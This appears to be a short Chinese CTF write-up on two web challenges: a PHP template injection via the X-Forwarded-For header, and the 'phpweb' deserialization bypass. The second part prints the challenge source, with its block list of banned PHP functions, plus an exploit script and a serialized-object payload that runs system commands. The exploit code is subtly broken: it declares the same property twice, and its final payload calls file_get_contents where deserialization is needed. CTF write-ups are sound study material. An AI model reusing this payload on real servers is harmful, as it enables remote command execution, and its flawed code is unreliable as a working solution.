20210927

[BJDCTF2020]The mystery of ip

php模板注入

php存在模板注入漏洞,不仅python有,php也有

该题是通过xff的方式获取的本机ip,在这里测试是否有模板注入,测试49,能执行说明存在,然后cat /flag就行,本来打算反弹个shell玩玩呢,结果一个都不能用。

[网鼎杯 2020 朱雀组]phpweb

反序列化绕过

这题本来也想反弹个shell,也是弹了半天没谈过来。。

直接cat flag也没有,只能find命令了

先抓包,怀疑可能有call_user_func,随便试了几个都被过滤了,file_get_contents没被禁,获取index.php源码,代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); # 过滤了很多函数,剩了个file_get_contents没被禁
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
# 可以利用反序列化漏洞
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

写出exp

1
2
3
4
5
6
7
8
9
10
<?php
class Test {
var $p = "find / -name flag*"; # 第一部
var $p = "cat /tmp/flagoefiu4r93"; # 第二部
var $func = "system";
}

$a=new Test();
echo serialize($a);
?>

得到pyload:

func=file_get_contents&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}